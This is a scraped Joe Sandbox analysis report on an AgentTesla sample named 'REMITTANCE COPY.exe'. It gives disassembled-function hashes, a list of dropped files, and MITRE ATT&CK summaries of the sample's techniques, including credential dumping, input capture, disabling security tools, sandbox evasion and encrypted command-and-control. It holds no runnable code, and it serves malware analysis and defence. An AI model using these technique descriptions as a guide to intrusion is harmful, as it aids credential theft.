API String ID: 0-1110479544
Opcode ID: f16407fc8ca02929887310c116fa88ec7f19fc3a3bef47cc62928feb7652f13d
Instruction ID: 57ee6c28b8ed26f403e6e3d88b995b3cff159f7cc028bfc044d665717e6a72f2
Opcode Fuzzy Hash: f16407fc8ca02929887310c116fa88ec7f19fc3a3bef47cc62928feb7652f13d
Instruction Fuzzy Hash: AD918F30A1020ADFDF68EF68D994B7EBBB2BF44304F208569E401AB295DF749C45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677A6B8 Relevance: 9.2, Strings: 7, Instructions: 405COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677A9F4
.5}q, xrefs: 0677A713
$eq, xrefs: 0677AB54
$eq, xrefs: 0677AA00
$eq, xrefs: 0677ABCC
$eq, xrefs: 0677ABC0
$eq, xrefs: 0677A99A

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: .5}q$$eq$$eq$$eq$$eq$$eq$$eq
API String ID: 0-1622854337
Opcode ID: f35c3b96cc952d9012bb70094d56777a0165facc5ffe62fbc878e7d078d70bfe
Instruction ID: b09c87ef53ac749a87399622ede7e5723b0a4086d27eeeb20aaac4967496e099
Opcode Fuzzy Hash: f35c3b96cc952d9012bb70094d56777a0165facc5ffe62fbc878e7d078d70bfe
Instruction Fuzzy Hash: 28F14C74B10209CFDB59EB68C594A6EB7B3FF85304F208529D415AB399DB31EC86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677B9F0 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677BCAF
$eq, xrefs: 0677BC4A
$eq, xrefs: 0677BC56
$eq, xrefs: 0677BCBB

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: e7bf79bc82a7349b4968f7686707c13f394304a4be361f984e3512b03dd21000
Instruction ID: 5aa314a5d60554ffd9fad26987ca508368db208caefee49f6e0210c947f1e19d
Opcode Fuzzy Hash: e7bf79bc82a7349b4968f7686707c13f394304a4be361f984e3512b03dd21000
Instruction Fuzzy Hash: CAB14C30A10219CFDF68EF68D59466EB7B2FF88704F248529D406AB395DB74DC86CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0677BE08 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677BE87
LReq, xrefs: 0677BF4A
$eq, xrefs: 0677BE93
LReq, xrefs: 0677BEFB

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: LReq$LReq$$eq$$eq
API String ID: 0-731573373
Opcode ID: 28537c52ec25a388814d9d68d2fba90eb608a41afe699c56ce5d80026ca21a66
Instruction ID: eb8960d2e3ce2ee67cce85937dfc648235eabf9d83f3bc6000b05e250ce9d51c
Opcode Fuzzy Hash: 28537c52ec25a388814d9d68d2fba90eb608a41afe699c56ce5d80026ca21a66
Instruction Fuzzy Hash: AA51B3307002059FDF58EF68D994A6EB7A2FF89704F108968E5159B3A9DB70EC40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0677E2D1 Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

$eq, xrefs: 0677E483
$eq, xrefs: 0677E454
$eq, xrefs: 0677E401
$eq, xrefs: 0677E4AC

Memory Dump Source

Source File: 0000000D.00000002.3258427965.0000000006770000.00000040.00000800.00020000.00000000.sdmp, Offset: 06770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6770000_MSBuild.jbxd

Similarity

API ID:
String ID: $eq$$eq$$eq$$eq
API String ID: 0-812946093
Opcode ID: 903a5d6a81bd3f5a38bfa3b58fa6a2b1895c76a2aab5c610d41a512cf60b382e
Instruction ID: 04080398227d11ff2d14b03b8359e049a29979bf7657e2752cd56dbb5f8fb216
Opcode Fuzzy Hash: 903a5d6a81bd3f5a38bfa3b58fa6a2b1895c76a2aab5c610d41a512cf60b382e
Instruction Fuzzy Hash: 14519D30E102058BDFA5EB78D5906BEB7B2FB85314F2489AAE416EB355DB30DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report REMITTANCE COPY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Networking

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CNqCubHKvlzbGo.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\REMITTANCE COPY.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1bm1gfd0.v4w.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b35eofy5.2rh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0j0r0ga.coo.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwkahjeg.gvv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mafaltug.kxg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucxesdxz.ono.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vcz4ovjx.hcb.ps1

Windows Analysis Report
REMITTANCE COPY.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre